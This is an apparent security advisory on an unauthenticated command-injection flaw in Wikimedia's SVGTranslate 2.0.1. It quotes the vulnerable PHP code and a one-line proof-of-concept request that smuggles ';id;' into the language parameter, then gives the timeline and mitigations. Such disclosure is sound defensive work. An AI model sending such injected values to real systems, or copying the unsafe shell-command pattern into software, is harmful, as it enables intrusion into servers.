Wikimedia/svgtranslate 2.0.1 Remote Code Execution
- System Overview
- Vulnerability Analysis
- Proof of Concept
- Timeline of Events
- Mitigation Recommendations
System Overview
SVGTranslate, developed by Wikimedia, converts SVG files into PNG images while allowing for language-based text substitutions within the SVG content. This PHP backend application is structured with functionality managed through ApiController.php
and Renderer.php
. The source code is hosted on SVGTranslate’s GitHub repository.
Component Path
- API Controller:
/src/Controller/ApiController.php
- Rendering Service:
/src/Service/Renderer.php
Vulnerability Description
The application is vulnerable to unauthenticated remote code execution (RCE) due to improper handling of the language parameter in the PNG generation process. The vulnerability arises from how shell commands are constructed and executed in the rendering service.
Vulnerability Analysis
Entry Point
The API endpoint defined as follows processes file names and language parameters to serve PNG files, without adequate validation of the lang
parameter:
/**
* Serve a PNG rendering of the given SVG in the given language.
* @Route("/api/file/{filename}/{lang}.png", name="api_file", methods="GET")
* @param string $filename
* @param string $lang
* @return Response
*/
public function getFile(string $filename, string $lang): Response
{
$filename = Title::normalize($filename);
$content = $this->svgRenderer->render($this->cache->getPath($filename), $lang);
return new Response($content, 200, ['Content-Type' => 'image/png', 'X-File-Hash' => sha1($content)]);
}
Renderer Vulnerability
In Renderer.php
, the lang
parameter is unsafely included in a shell command, allowing command injection:
/**
* Render a SVG file to PNG.
* @param string $file Full filesystem path to the SVG file to render.
* @param string $lang Language code for rendering.
* @param string $outFile File path for the output PNG.
* @throws ProcessFailedException If conversion fails.
* @return string The PNG image contents.
*/
public function render(string $file, string $lang, ?string $outFile = null) : string
{
$command = $this->rsvgCommand.' "$SVG"';
if ('fallback' !== $lang) {
$command .= " --accept-language=$lang";
}
if ($outFile) {
$command .= ' > "$PNG"';
}
$process = Process::fromShellCommandline($command);
$process->mustRun(null, ['SVG' => $file, 'PNG' => $outFile]);
return $process->getOutput();
}
Proof of Concept
The vulnerability was tested directly on the Wikimedia instance, demonstrating unauthorized command execution as evidenced by the system user information in the server response:
GET /api/file/SI_base_unit1.svg/fr;id;.png HTTP/2
Host: svgtranslate.toolforge.org
Timeline of Events
- Vulnerability Reported: May 22, 2024
- Vulnerability Patched: May 23, 2024
- Patch commit: cc0aef7b2c6ba7205329b93fb95f0bdceaa89d1c
- Released in version 2.0.2
- Vulnerability Exposure: Since February 2024
Mitigation Recommendations
- Input Validation: Implement strict validation for all input parameters, especially those being incorporated into command line operations.
- Secure Command Execution: Use array parameters for command execution to ensure separation between commands and arguments, preventing injection.
- Security Audit and Testing: Conduct a thorough security review and penetration testing to identify and fix potential vulnerabilities.
Thanks to the Wikimedia Community
Big thanks to everyone at Wikimedia for their hard work on so many helpful tools. Their quick teamwork in fixing this vulnerability really shows their commitment to keeping things secure and running smoothly. Your efforts are greatly appreciated!